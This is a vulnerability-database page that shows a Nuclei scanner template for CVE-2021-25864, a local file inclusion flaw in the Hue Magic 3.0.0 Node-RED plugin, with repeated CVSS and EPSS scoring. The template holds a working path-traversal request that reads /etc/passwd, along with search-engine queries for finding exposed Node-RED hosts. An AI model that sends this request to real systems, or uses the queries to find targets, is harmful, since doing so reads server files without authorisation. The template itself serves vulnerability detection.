Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-25864
HistoryJan 31, 2022 - 9:06 a.m.

Hue Magic 3.0.0 - Local File Inclusion

2022-01-3109:06:37
ProjectDiscovery
github.com
4

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.5 High

AI Score

Confidence

High

0.282 Low

EPSS

Percentile

96.9%

Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.

id: CVE-2021-25864

info:
  name: Hue Magic 3.0.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Hue Magic 3.0.0 is susceptible to local file inclusion via the res.sendFile API.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of Hue Magic.
  reference:
    - https://github.com/Foddy/node-red-contrib-huemagic/issues/217
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25864
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-25864
    cwe-id: CWE-22
    epss-score: 0.29108
    epss-percentile: 0.96881
    cpe: cpe:2.3:a:dgtl:huemagic:3.0.0:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: dgtl
    product: huemagic
    framework: node.js
    shodan-query:
      - title:"NODE-RED"
      - http.title:"node-red"
    fofa-query: title="node-red"
    google-query: intitle:"node-red"
  tags: cve2021,cve,huemagic,lfi,dgtl,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022051f8b0a72d508fc9d1f0796dca183fdb4f91b7d4c7e1db8fbff3397ac5076934022100847cea9e369b5f17a6ea3646070f11392ab08cd1c3d60902f67ed61a7fbb2471:922c64590222798bb761d5b6d8e72950

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.5 High

AI Score

Confidence

High

0.282 Low

EPSS

Percentile

96.9%

Related for NUCLEI:CVE-2021-25864